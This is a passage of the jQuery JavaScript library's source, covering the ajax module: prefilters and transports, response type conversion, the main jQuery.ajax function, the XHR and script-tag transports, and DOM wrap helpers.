8881 // dataTypeExpression is optional and defaults to "*"
8882 return function( dataTypeExpression, func ) {
8883
8884 if ( typeof dataTypeExpression !== "string" ) {
8885 func = dataTypeExpression;
8886 dataTypeExpression = "*";
8887 }
8888
8889 var dataType,
8890 i = 0,
8891 dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];
8892
8893 if ( isFunction( func ) ) {
8894
8895 // For each dataType in the dataTypeExpression
8896 while ( ( dataType = dataTypes[ i++ ] ) ) {
8897
8898 // Prepend if requested
8899 if ( dataType[ 0 ] === "+" ) {
8900 dataType = dataType.slice( 1 ) || "*";
8901 ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );
8902
8903 // Otherwise append
8904 } else {
8905 ( structure[ dataType ] = structure[ dataType ] || [] ).push( func );
8906 }
8907 }
8908 }
8909 };
8910}
8911
8912// Base inspection function for prefilters and transports
8913function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
8914
8915 var inspected = {},
8916 seekingTransport = ( structure === transports );
8917
8918 function inspect( dataType ) {
8919 var selected;
8920 inspected[ dataType ] = true;
8921 jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
8922 var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
8923 if ( typeof dataTypeOrTransport === "string" &&
8924 !seekingTransport && !inspected[ dataTypeOrTransport ] ) {
8925
8926 options.dataTypes.unshift( dataTypeOrTransport );
8927 inspect( dataTypeOrTransport );
8928 return false;
8929 } else if ( seekingTransport ) {
8930 return !( selected = dataTypeOrTransport );
8931 }
8932 } );
8933 return selected;
8934 }
8935
8936 return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
8937}
8938
8939// A special extend for ajax options
8940// that takes "flat" options (not to be deep extended)
8941// Fixes trac-9887
8942function ajaxExtend( target, src ) {
8943 var key, deep,
8944 flatOptions = jQuery.ajaxSettings.flatOptions || {};
8945
8946 for ( key in src ) {
8947 if ( src[ key ] !== undefined ) {
8948 ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
8949 }
8950 }
8951 if ( deep ) {
8952 jQuery.extend( true, target, deep );
8953 }
8954
8955 return target;
8956}
8957
8958/* Handles responses to an ajax request:
8959 * - finds the right dataType (mediates between content-type and expected dataType)
8960 * - returns the corresponding response
8961 */
8962function ajaxHandleResponses( s, jqXHR, responses ) {
8963
8964 var ct, type, finalDataType, firstDataType,
8965 contents = s.contents,
8966 dataTypes = s.dataTypes;
8967
8968 // Remove auto dataType and get content-type in the process
8969 while ( dataTypes[ 0 ] === "*" ) {
8970 dataTypes.shift();
8971 if ( ct === undefined ) {
8972 ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" );
8973 }
8974 }
8975
8976 // Check if we're dealing with a known content-type
8977 if ( ct ) {
8978 for ( type in contents ) {
8979 if ( contents[ type ] && contents[ type ].test( ct ) ) {
8980 dataTypes.unshift( type );
8981 break;
8982 }
8983 }
8984 }
8985
8986 // Check to see if we have a response for the expected dataType
8987 if ( dataTypes[ 0 ] in responses ) {
8988 finalDataType = dataTypes[ 0 ];
8989 } else {
8990
8991 // Try convertible dataTypes
8992 for ( type in responses ) {
8993 if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) {
8994 finalDataType = type;
8995 break;
8996 }
8997 if ( !firstDataType ) {
8998 firstDataType = type;
8999 }
9000 }
9001
9002 // Or just use first one
9003 finalDataType = finalDataType || firstDataType;
9004 }
9005
9006 // If we found a dataType
9007 // We add the dataType to the list if needed
9008 // and return the corresponding response
9009 if ( finalDataType ) {
9010 if ( finalDataType !== dataTypes[ 0 ] ) {
9011 dataTypes.unshift( finalDataType );
9012 }
9013 return responses[ finalDataType ];
9014 }
9015}
9016
9017/* Chain conversions given the request and the original response
9018 * Also sets the responseXXX fields on the jqXHR instance
9019 */
9020function ajaxConvert( s, response, jqXHR, isSuccess ) {
9021 var conv2, current, conv, tmp, prev,
9022 converters = {},
9023
9024 // Work with a copy of dataTypes in case we need to modify it for conversion
9025 dataTypes = s.dataTypes.slice();
9026
9027 // Create converters map with lowercased keys
9028 if ( dataTypes[ 1 ] ) {
9029 for ( conv in s.converters ) {
9030 converters[ conv.toLowerCase() ] = s.converters[ conv ];
9031 }
9032 }
9033
9034 current = dataTypes.shift();
9035
9036 // Convert to each sequential dataType
9037 while ( current ) {
9038
9039 if ( s.responseFields[ current ] ) {
9040 jqXHR[ s.responseFields[ current ] ] = response;
9041 }
9042
9043 // Apply the dataFilter if provided
9044 if ( !prev && isSuccess && s.dataFilter ) {
9045 response = s.dataFilter( response, s.dataType );
9046 }
9047
9048 prev = current;
9049 current = dataTypes.shift();
9050
9051 if ( current ) {
9052
9053 // There's only work to do if current dataType is non-auto
9054 if ( current === "*" ) {
9055
9056 current = prev;
9057
9058 // Convert response if prev dataType is non-auto and differs from current
9059 } else if ( prev !== "*" && prev !== current ) {
9060
9061 // Seek a direct converter
9062 conv = converters[ prev + " " + current ] || converters[ "* " + current ];
9063
9064 // If none found, seek a pair
9065 if ( !conv ) {
9066 for ( conv2 in converters ) {
9067
9068 // If conv2 outputs current
9069 tmp = conv2.split( " " );
9070 if ( tmp[ 1 ] === current ) {
9071
9072 // If prev can be converted to accepted input
9073 conv = converters[ prev + " " + tmp[ 0 ] ] ||
9074 converters[ "* " + tmp[ 0 ] ];
9075 if ( conv ) {
9076
9077 // Condense equivalence converters
9078 if ( conv === true ) {
9079 conv = converters[ conv2 ];
9080
9081 // Otherwise, insert the intermediate dataType
9082 } else if ( converters[ conv2 ] !== true ) {
9083 current = tmp[ 0 ];
9084 dataTypes.unshift( tmp[ 1 ] );
9085 }
9086 break;
9087 }
9088 }
9089 }
9090 }
9091
9092 // Apply converter (if not an equivalence)
9093 if ( conv !== true ) {
9094
9095 // Unless errors are allowed to bubble, catch and return them
9096 if ( conv && s.throws ) {
9097 response = conv( response );
9098 } else {
9099 try {
9100 response = conv( response );
9101 } catch ( e ) {
9102 return {
9103 state: "parsererror",
9104 error: conv ? e : "No conversion from " + prev + " to " + current
9105 };
9106 }
9107 }
9108 }
9109 }
9110 }
9111 }
9112
9113 return { state: "success", data: response };
9114}
9115
9116jQuery.extend( {
9117
9118 // Counter for holding the number of active queries
9119 active: 0,
9120
9121 // Last-Modified header cache for next request
9122 lastModified: {},
9123 etag: {},
9124
9125 ajaxSettings: {
9126 url: location.href,
9127 type: "GET",
9128 isLocal: rlocalProtocol.test( location.protocol ),
9129 global: true,
9130 processData: true,
9131 async: true,
9132 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
9133
9134 /*
9135 timeout: 0,
9136 data: null,
9137 dataType: null,
9138 username: null,
9139 password: null,
9140 cache: null,
9141 throws: false,
9142 traditional: false,
9143 headers: {},
9144 */
9145
9146 accepts: {
9147 "*": allTypes,
9148 text: "text/plain",
9149 html: "text/html",
9150 xml: "application/xml, text/xml",
9151 json: "application/json, text/javascript"
9152 },
9153
9154 contents: {
9155 xml: /\bxml\b/,
9156 html: /\bhtml/,
9157 json: /\bjson\b/
9158 },
9159
9160 responseFields: {
9161 xml: "responseXML",
9162 text: "responseText",
9163 json: "responseJSON"
9164 },
9165
9166 // Data converters
9167 // Keys separate source (or catchall "*") and destination types with a single space
9168 converters: {
9169
9170 // Convert anything to text
9171 "* text": String,
9172
9173 // Text to html (true = no transformation)
9174 "text html": true,
9175
9176 // Evaluate text as a json expression
9177 "text json": JSON.parse,
9178
9179 // Parse text as xml
9180 "text xml": jQuery.parseXML
9181 },
9182
9183 // For options that shouldn't be deep extended:
9184 // you can add your own custom options here if
9185 // and when you create one that shouldn't be
9186 // deep extended (see ajaxExtend)
9187 flatOptions: {
9188 url: true,
9189 context: true
9190 }
9191 },
9192
9193 // Creates a full fledged settings object into target
9194 // with both ajaxSettings and settings fields.
9195 // If target is omitted, writes into ajaxSettings.
9196 ajaxSetup: function( target, settings ) {
9197 return settings ?
9198
9199 // Building a settings object
9200 ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
9201
9202 // Extending ajaxSettings
9203 ajaxExtend( jQuery.ajaxSettings, target );
9204 },
9205
9206 ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
9207 ajaxTransport: addToPrefiltersOrTransports( transports ),
9208
9209 // Main method
9210 ajax: function( url, options ) {
9211
9212 // If url is an object, simulate pre-1.5 signature
9213 if ( typeof url === "object" ) {
9214 options = url;
9215 url = undefined;
9216 }
9217
9218 // Force options to be an object
9219 options = options || {};
9220
9221 var transport,
9222
9223 // URL without anti-cache param
9224 cacheURL,
9225
9226 // Response headers
9227 responseHeadersString,
9228 responseHeaders,
9229
9230 // timeout handle
9231 timeoutTimer,
9232
9233 // Url cleanup var
9234 urlAnchor,
9235
9236 // Request state (becomes false upon send and true upon completion)
9237 completed,
9238
9239 // To know if global events are to be dispatched
9240 fireGlobals,
9241
9242 // Loop variable
9243 i,
9244
9245 // uncached part of the url
9246 uncached,
9247
9248 // Create the final options object
9249 s = jQuery.ajaxSetup( {}, options ),
9250
9251 // Callbacks context
9252 callbackContext = s.context || s,
9253
9254 // Context for global events is callbackContext if it is a DOM node or jQuery collection
9255 globalEventContext = s.context &&
9256 ( callbackContext.nodeType || callbackContext.jquery ) ?
9257 jQuery( callbackContext ) :
9258 jQuery.event,
9259
9260 // Deferreds
9261 deferred = jQuery.Deferred(),
9262 completeDeferred = jQuery.Callbacks( "once memory" ),
9263
9264 // Status-dependent callbacks
9265 statusCode = s.statusCode || {},
9266
9267 // Headers (they are sent all at once)
9268 requestHeaders = {},
9269 requestHeadersNames = {},
9270
9271 // Default abort message
9272 strAbort = "canceled",
9273
9274 // Fake xhr
9275 jqXHR = {
9276 readyState: 0,
9277
9278 // Builds headers hashtable if needed
9279 getResponseHeader: function( key ) {
9280 var match;
9281 if ( completed ) {
9282 if ( !responseHeaders ) {
9283 responseHeaders = {};
9284 while ( ( match = rheaders.exec( responseHeadersString ) ) ) {
9285 responseHeaders[ match[ 1 ].toLowerCase() + " " ] =
9286 ( responseHeaders[ match[ 1 ].toLowerCase() + " " ] || [] )
9287 .concat( match[ 2 ] );
9288 }
9289 }
9290 match = responseHeaders[ key.toLowerCase() + " " ];
9291 }
9292 return match == null ? null : match.join( ", " );
9293 },
9294
9295 // Raw string
9296 getAllResponseHeaders: function() {
9297 return completed ? responseHeadersString : null;
9298 },
9299
9300 // Caches the header
9301 setRequestHeader: function( name, value ) {
9302 if ( completed == null ) {
9303 name = requestHeadersNames[ name.toLowerCase() ] =
9304 requestHeadersNames[ name.toLowerCase() ] || name;
9305 requestHeaders[ name ] = value;
9306 }
9307 return this;
9308 },
9309
9310 // Overrides response content-type header
9311 overrideMimeType: function( type ) {
9312 if ( completed == null ) {
9313 s.mimeType = type;
9314 }
9315 return this;
9316 },
9317
9318 // Status-dependent callbacks
9319 statusCode: function( map ) {
9320 var code;
9321 if ( map ) {
9322 if ( completed ) {
9323
9324 // Execute the appropriate callbacks
9325 jqXHR.always( map[ jqXHR.status ] );
9326 } else {
9327
9328 // Lazy-add the new callbacks in a way that preserves old ones
9329 for ( code in map ) {
9330 statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
9331 }
9332 }
9333 }
9334 return this;
9335 },
9336
9337 // Cancel the request
9338 abort: function( statusText ) {
9339 var finalText = statusText || strAbort;
9340 if ( transport ) {
9341 transport.abort( finalText );
9342 }
9343 done( 0, finalText );
9344 return this;
9345 }
9346 };
9347
9348 // Attach deferreds
9349 deferred.promise( jqXHR );
9350
9351 // Add protocol if not provided (prefilters might expect it)
9352 // Handle falsy url in the settings object (trac-10093: consistency with old signature)
9353 // We also use the url parameter if available
9354 s.url = ( ( url || s.url || location.href ) + "" )
9355 .replace( rprotocol, location.protocol + "//" );
9356
9357 // Alias method option to type as per ticket trac-12004
9358 s.type = options.method || options.type || s.method || s.type;
9359
9360 // Extract dataTypes list
9361 s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ];
9362
9363 // A cross-domain request is in order when the origin doesn't match the current origin.
9364 if ( s.crossDomain == null ) {
9365 urlAnchor = document.createElement( "a" );
9366
9367 // Support: IE <=8 - 11, Edge 12 - 15
9368 // IE throws exception on accessing the href property if url is malformed,
9369 // e.g. http://example.com:80x/
9370 try {
9371 urlAnchor.href = s.url;
9372
9373 // Support: IE <=8 - 11 only
9374 // Anchor's host property isn't correctly set when s.url is relative
9375 urlAnchor.href = urlAnchor.href;
9376 s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !==
9377 urlAnchor.protocol + "//" + urlAnchor.host;
9378 } catch ( e ) {
9379
9380 // If there is an error parsing the URL, assume it is crossDomain,
9381 // it can be rejected by the transport if it is invalid
9382 s.crossDomain = true;
9383 }
9384 }
9385
9386 // Convert data if not already a string
9387 if ( s.data && s.processData && typeof s.data !== "string" ) {
9388 s.data = jQuery.param( s.data, s.traditional );
9389 }
9390
9391 // Apply prefilters
9392 inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
9393
9394 // If request was aborted inside a prefilter, stop there
9395 if ( completed ) {
9396 return jqXHR;
9397 }
9398
9399 // We can fire global events as of now if asked to
9400 // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (trac-15118)
9401 fireGlobals = jQuery.event && s.global;
9402
9403 // Watch for a new set of requests
9404 if ( fireGlobals && jQuery.active++ === 0 ) {
9405 jQuery.event.trigger( "ajaxStart" );
9406 }
9407
9408 // Uppercase the type
9409 s.type = s.type.toUpperCase();
9410
9411 // Determine if request has content
9412 s.hasContent = !rnoContent.test( s.type );
9413
9414 // Save the URL in case we're toying with the If-Modified-Since
9415 // and/or If-None-Match header later on
9416 // Remove hash to simplify url manipulation
9417 cacheURL = s.url.replace( rhash, "" );
9418
9419 // More options handling for requests with no content
9420 if ( !s.hasContent ) {
9421
9422 // Remember the hash so we can put it back
9423 uncached = s.url.slice( cacheURL.length );
9424
9425 // If data is available and should be processed, append data to url
9426 if ( s.data && ( s.processData || typeof s.data === "string" ) ) {
9427 cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data;
9428
9429 // trac-9682: remove data so that it's not used in an eventual retry
9430 delete s.data;
9431 }
9432
9433 // Add or update anti-cache param if needed
9434 if ( s.cache === false ) {
9435 cacheURL = cacheURL.replace( rantiCache, "$1" );
9436 uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce.guid++ ) +
9437 uncached;
9438 }
9439
9440 // Put hash and anti-cache on the URL that will be requested (gh-1732)
9441 s.url = cacheURL + uncached;
9442
9443 // Change '%20' to '+' if this is encoded form body content (gh-2658)
9444 } else if ( s.data && s.processData &&
9445 ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) {
9446 s.data = s.data.replace( r20, "+" );
9447 }
9448
9449 // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
9450 if ( s.ifModified ) {
9451 if ( jQuery.lastModified[ cacheURL ] ) {
9452 jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
9453 }
9454 if ( jQuery.etag[ cacheURL ] ) {
9455 jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
9456 }
9457 }
9458
9459 // Set the correct header, if data is being sent
9460 if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
9461 jqXHR.setRequestHeader( "Content-Type", s.contentType );
9462 }
9463
9464 // Set the Accepts header for the server, depending on the dataType
9465 jqXHR.setRequestHeader(
9466 "Accept",
9467 s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?
9468 s.accepts[ s.dataTypes[ 0 ] ] +
9469 ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
9470 s.accepts[ "*" ]
9471 );
9472
9473 // Check for headers option
9474 for ( i in s.headers ) {
9475 jqXHR.setRequestHeader( i, s.headers[ i ] );
9476 }
9477
9478 // Allow custom headers/mimetypes and early abort
9479 if ( s.beforeSend &&
9480 ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {
9481
9482 // Abort if not done already and return
9483 return jqXHR.abort();
9484 }
9485
9486 // Aborting is no longer a cancellation
9487 strAbort = "abort";
9488
9489 // Install callbacks on deferreds
9490 completeDeferred.add( s.complete );
9491 jqXHR.done( s.success );
9492 jqXHR.fail( s.error );
9493
9494 // Get transport
9495 transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
9496
9497 // If no transport, we auto-abort
9498 if ( !transport ) {
9499 done( -1, "No Transport" );
9500 } else {
9501 jqXHR.readyState = 1;
9502
9503 // Send global event
9504 if ( fireGlobals ) {
9505 globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
9506 }
9507
9508 // If request was aborted inside ajaxSend, stop there
9509 if ( completed ) {
9510 return jqXHR;
9511 }
9512
9513 // Timeout
9514 if ( s.async && s.timeout > 0 ) {
9515 timeoutTimer = window.setTimeout( function() {
9516 jqXHR.abort( "timeout" );
9517 }, s.timeout );
9518 }
9519
9520 try {
9521 completed = false;
9522 transport.send( requestHeaders, done );
9523 } catch ( e ) {
9524
9525 // Rethrow post-completion exceptions
9526 if ( completed ) {
9527 throw e;
9528 }
9529
9530 // Propagate others as results
9531 done( -1, e );
9532 }
9533 }
9534
9535 // Callback for when everything is done
9536 function done( status, nativeStatusText, responses, headers ) {
9537 var isSuccess, success, error, response, modified,
9538 statusText = nativeStatusText;
9539
9540 // Ignore repeat invocations
9541 if ( completed ) {
9542 return;
9543 }
9544
9545 completed = true;
9546
9547 // Clear timeout if it exists
9548 if ( timeoutTimer ) {
9549 window.clearTimeout( timeoutTimer );
9550 }
9551
9552 // Dereference transport for early garbage collection
9553 // (no matter how long the jqXHR object will be used)
9554 transport = undefined;
9555
9556 // Cache response headers
9557 responseHeadersString = headers || "";
9558
9559 // Set readyState
9560 jqXHR.readyState = status > 0 ? 4 : 0;
9561
9562 // Determine if successful
9563 isSuccess = status >= 200 && status < 300 || status === 304;
9564
9565 // Get response data
9566 if ( responses ) {
9567 response = ajaxHandleResponses( s, jqXHR, responses );
9568 }
9569
9570 // Use a noop converter for missing script but not if jsonp
9571 if ( !isSuccess &&
9572 jQuery.inArray( "script", s.dataTypes ) > -1 &&
9573 jQuery.inArray( "json", s.dataTypes ) < 0 ) {
9574 s.converters[ "text script" ] = function() {};
9575 }
9576
9577 // Convert no matter what (that way responseXXX fields are always set)
9578 response = ajaxConvert( s, response, jqXHR, isSuccess );
9579
9580 // If successful, handle type chaining
9581 if ( isSuccess ) {
9582
9583 // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
9584 if ( s.ifModified ) {
9585 modified = jqXHR.getResponseHeader( "Last-Modified" );
9586 if ( modified ) {
9587 jQuery.lastModified[ cacheURL ] = modified;
9588 }
9589 modified = jqXHR.getResponseHeader( "etag" );
9590 if ( modified ) {
9591 jQuery.etag[ cacheURL ] = modified;
9592 }
9593 }
9594
9595 // if no content
9596 if ( status === 204 || s.type === "HEAD" ) {
9597 statusText = "nocontent";
9598
9599 // if not modified
9600 } else if ( status === 304 ) {
9601 statusText = "notmodified";
9602
9603 // If we have data, let's convert it
9604 } else {
9605 statusText = response.state;
9606 success = response.data;
9607 error = response.error;
9608 isSuccess = !error;
9609 }
9610 } else {
9611
9612 // Extract error from statusText and normalize for non-aborts
9613 error = statusText;
9614 if ( status || !statusText ) {
9615 statusText = "error";
9616 if ( status < 0 ) {
9617 status = 0;
9618 }
9619 }
9620 }
9621
9622 // Set data for the fake xhr object
9623 jqXHR.status = status;
9624 jqXHR.statusText = ( nativeStatusText || statusText ) + "";
9625
9626 // Success/Error
9627 if ( isSuccess ) {
9628 deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
9629 } else {
9630 deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
9631 }
9632
9633 // Status-dependent callbacks
9634 jqXHR.statusCode( statusCode );
9635 statusCode = undefined;
9636
9637 if ( fireGlobals ) {
9638 globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
9639 [ jqXHR, s, isSuccess ? success : error ] );
9640 }
9641
9642 // Complete
9643 completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
9644
9645 if ( fireGlobals ) {
9646 globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
9647
9648 // Handle the global AJAX counter
9649 if ( !( --jQuery.active ) ) {
9650 jQuery.event.trigger( "ajaxStop" );
9651 }
9652 }
9653 }
9654
9655 return jqXHR;
9656 },
9657
9658 getJSON: function( url, data, callback ) {
9659 return jQuery.get( url, data, callback, "json" );
9660 },
9661
9662 getScript: function( url, callback ) {
9663 return jQuery.get( url, undefined, callback, "script" );
9664 }
9665} );
9666
9667jQuery.each( [ "get", "post" ], function( _i, method ) {
9668 jQuery[ method ] = function( url, data, callback, type ) {
9669
9670 // Shift arguments if data argument was omitted
9671 if ( isFunction( data ) ) {
9672 type = type || callback;
9673 callback = data;
9674 data = undefined;
9675 }
9676
9677 // The url can be an options object (which then must have .url)
9678 return jQuery.ajax( jQuery.extend( {
9679 url: url,
9680 type: method,
9681 dataType: type,
9682 data: data,
9683 success: callback
9684 }, jQuery.isPlainObject( url ) && url ) );
9685 };
9686} );
9687
9688jQuery.ajaxPrefilter( function( s ) {
9689 var i;
9690 for ( i in s.headers ) {
9691 if ( i.toLowerCase() === "content-type" ) {
9692 s.contentType = s.headers[ i ] || "";
9693 }
9694 }
9695} );
9696
9697
9698jQuery._evalUrl = function( url, options, doc ) {
9699 return jQuery.ajax( {
9700 url: url,
9701
9702 // Make this explicit, since user can override this through ajaxSetup (trac-11264)
9703 type: "GET",
9704 dataType: "script",
9705 cache: true,
9706 async: false,
9707 global: false,
9708
9709 // Only evaluate the response if it is successful (gh-4126)
9710 // dataFilter is not invoked for failure responses, so using it instead
9711 // of the default converter is kludgy but it works.
9712 converters: {
9713 "text script": function() {}
9714 },
9715 dataFilter: function( response ) {
9716 jQuery.globalEval( response, options, doc );
9717 }
9718 } );
9719};
9720
9721
9722jQuery.fn.extend( {
9723 wrapAll: function( html ) {
9724 var wrap;
9725
9726 if ( this[ 0 ] ) {
9727 if ( isFunction( html ) ) {
9728 html = html.call( this[ 0 ] );
9729 }
9730
9731 // The elements to wrap the target around
9732 wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );
9733
9734 if ( this[ 0 ].parentNode ) {
9735 wrap.insertBefore( this[ 0 ] );
9736 }
9737
9738 wrap.map( function() {
9739 var elem = this;
9740
9741 while ( elem.firstElementChild ) {
9742 elem = elem.firstElementChild;
9743 }
9744
9745 return elem;
9746 } ).append( this );
9747 }
9748
9749 return this;
9750 },
9751
9752 wrapInner: function( html ) {
9753 if ( isFunction( html ) ) {
9754 return this.each( function( i ) {
9755 jQuery( this ).wrapInner( html.call( this, i ) );
9756 } );
9757 }
9758
9759 return this.each( function() {
9760 var self = jQuery( this ),
9761 contents = self.contents();
9762
9763 if ( contents.length ) {
9764 contents.wrapAll( html );
9765
9766 } else {
9767 self.append( html );
9768 }
9769 } );
9770 },
9771
9772 wrap: function( html ) {
9773 var htmlIsFunction = isFunction( html );
9774
9775 return this.each( function( i ) {
9776 jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html );
9777 } );
9778 },
9779
9780 unwrap: function( selector ) {
9781 this.parent( selector ).not( "body" ).each( function() {
9782 jQuery( this ).replaceWith( this.childNodes );
9783 } );
9784 return this;
9785 }
9786} );
9787
9788
9789jQuery.expr.pseudos.hidden = function( elem ) {
9790 return !jQuery.expr.pseudos.visible( elem );
9791};
9792jQuery.expr.pseudos.visible = function( elem ) {
9793 return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
9794};
9795
9796
9797
9798
9799jQuery.ajaxSettings.xhr = function() {
9800 try {
9801 return new window.XMLHttpRequest();
9802 } catch ( e ) {}
9803};
9804
9805var xhrSuccessStatus = {
9806
9807 // File protocol always yields status code 0, assume 200
9808 0: 200,
9809
9810 // Support: IE <=9 only
9811 // trac-1450: sometimes IE returns 1223 when it should be 204
9812 1223: 204
9813 },
9814 xhrSupported = jQuery.ajaxSettings.xhr();
9815
9816support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
9817support.ajax = xhrSupported = !!xhrSupported;
9818
9819jQuery.ajaxTransport( function( options ) {
9820 var callback, errorCallback;
9821
9822 // Cross domain only allowed if supported through XMLHttpRequest
9823 if ( support.cors || xhrSupported && !options.crossDomain ) {
9824 return {
9825 send: function( headers, complete ) {
9826 var i,
9827 xhr = options.xhr();
9828
9829 xhr.open(
9830 options.type,
9831 options.url,
9832 options.async,
9833 options.username,
9834 options.password
9835 );
9836
9837 // Apply custom fields if provided
9838 if ( options.xhrFields ) {
9839 for ( i in options.xhrFields ) {
9840 xhr[ i ] = options.xhrFields[ i ];
9841 }
9842 }
9843
9844 // Override mime type if needed
9845 if ( options.mimeType && xhr.overrideMimeType ) {
9846 xhr.overrideMimeType( options.mimeType );
9847 }
9848
9849 // X-Requested-With header
9850 // For cross-domain requests, seeing as conditions for a preflight are
9851 // akin to a jigsaw puzzle, we simply never set it to be sure.
9852 // (it can always be set on a per-request basis or even using ajaxSetup)
9853 // For same-domain requests, won't change header if already provided.
9854 if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) {
9855 headers[ "X-Requested-With" ] = "XMLHttpRequest";
9856 }
9857
9858 // Set headers
9859 for ( i in headers ) {
9860 xhr.setRequestHeader( i, headers[ i ] );
9861 }
9862
9863 // Callback
9864 callback = function( type ) {
9865 return function() {
9866 if ( callback ) {
9867 callback = errorCallback = xhr.onload =
9868 xhr.onerror = xhr.onabort = xhr.ontimeout =
9869 xhr.onreadystatechange = null;
9870
9871 if ( type === "abort" ) {
9872 xhr.abort();
9873 } else if ( type === "error" ) {
9874
9875 // Support: IE <=9 only
9876 // On a manual native abort, IE9 throws
9877 // errors on any property access that is not readyState
9878 if ( typeof xhr.status !== "number" ) {
9879 complete( 0, "error" );
9880 } else {
9881 complete(
9882
9883 // File: protocol always yields status 0; see trac-8605, trac-14207
9884 xhr.status,
9885 xhr.statusText
9886 );
9887 }
9888 } else {
9889 complete(
9890 xhrSuccessStatus[ xhr.status ] || xhr.status,
9891 xhr.statusText,
9892
9893 // Support: IE <=9 only
9894 // IE9 has no XHR2 but throws on binary (trac-11426)
9895 // For XHR2 non-text, let the caller handle it (gh-2498)
9896 ( xhr.responseType || "text" ) !== "text" ||
9897 typeof xhr.responseText !== "string" ?
9898 { binary: xhr.response } :
9899 { text: xhr.responseText },
9900 xhr.getAllResponseHeaders()
9901 );
9902 }
9903 }
9904 };
9905 };
9906
9907 // Listen to events
9908 xhr.onload = callback();
9909 errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" );
9910
9911 // Support: IE 9 only
9912 // Use onreadystatechange to replace onabort
9913 // to handle uncaught aborts
9914 if ( xhr.onabort !== undefined ) {
9915 xhr.onabort = errorCallback;
9916 } else {
9917 xhr.onreadystatechange = function() {
9918
9919 // Check readyState before timeout as it changes
9920 if ( xhr.readyState === 4 ) {
9921
9922 // Allow onerror to be called first,
9923 // but that will not handle a native abort
9924 // Also, save errorCallback to a variable
9925 // as xhr.onerror cannot be accessed
9926 window.setTimeout( function() {
9927 if ( callback ) {
9928 errorCallback();
9929 }
9930 } );
9931 }
9932 };
9933 }
9934
9935 // Create the abort callback
9936 callback = callback( "abort" );
9937
9938 try {
9939
9940 // Do send the request (this may raise an exception)
9941 xhr.send( options.hasContent && options.data || null );
9942 } catch ( e ) {
9943
9944 // trac-14683: Only rethrow if this hasn't been notified as an error yet
9945 if ( callback ) {
9946 throw e;
9947 }
9948 }
9949 },
9950
9951 abort: function() {
9952 if ( callback ) {
9953 callback();
9954 }
9955 }
9956 };
9957 }
9958} );
9959
9960
9961
9962
9963// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
9964jQuery.ajaxPrefilter( function( s ) {
9965 if ( s.crossDomain ) {
9966 s.contents.script = false;
9967 }
9968} );
9969
9970// Install script dataType
9971jQuery.ajaxSetup( {
9972 accepts: {
9973 script: "text/javascript, application/javascript, " +
9974 "application/ecmascript, application/x-ecmascript"
9975 },
9976 contents: {
9977 script: /\b(?:java|ecma)script\b/
9978 },
9979 converters: {
9980 "text script": function( text ) {
9981 jQuery.globalEval( text );
9982 return text;
9983 }
9984 }
9985} );
9986
9987// Handle cache's special case and crossDomain
9988jQuery.ajaxPrefilter( "script", function( s ) {
9989 if ( s.cache === undefined ) {
9990 s.cache = false;
9991 }
9992 if ( s.crossDomain ) {
9993 s.type = "GET";
9994 }
9995} );
9996
9997// Bind script tag hack transport
9998jQuery.ajaxTransport( "script", function( s ) {
9999
10000 // This transport only deals with cross domain or forced-by-attrs requests
10001 if ( s.crossDomain || s.scriptAttrs ) {
10002 var script, callback;
10003 return {
10004 send: function( _, complete ) {
10005 script = jQuery( "<script>" )
10006 .attr( s.scriptAttrs || {} )
10007 .prop( { charset: s.scriptCharset, src: s.url } )
10008 .on( "load error", callback = function( evt ) {
10009 script.remove();
10010 callback = null;
10011 if ( evt ) {
10012 complete( evt.type === "error" ? 404 : 200, evt.type );
10013 }
10014 } );
10015
10016 // Use native DOM manipulation to avoid our domManip AJAX trickery
10017 document.head.appendChild( script[ 0 ] );
10018 },
10019 abort: function() {
10020 if ( callback ) {
10021 callback();
10022 }
10023 }
10024 };
10025 }
10026} );
10027
10028
10029
10030
10031var oldCallbacks = [],
10032 rjsonp = /(=)\?(?=&|$)|\?\?/;
10033
10034// Default jsonp settings
10035jQuery.ajaxSetup( {
10036 jsonp: "callback",
10037 jsonpCallback: function() {
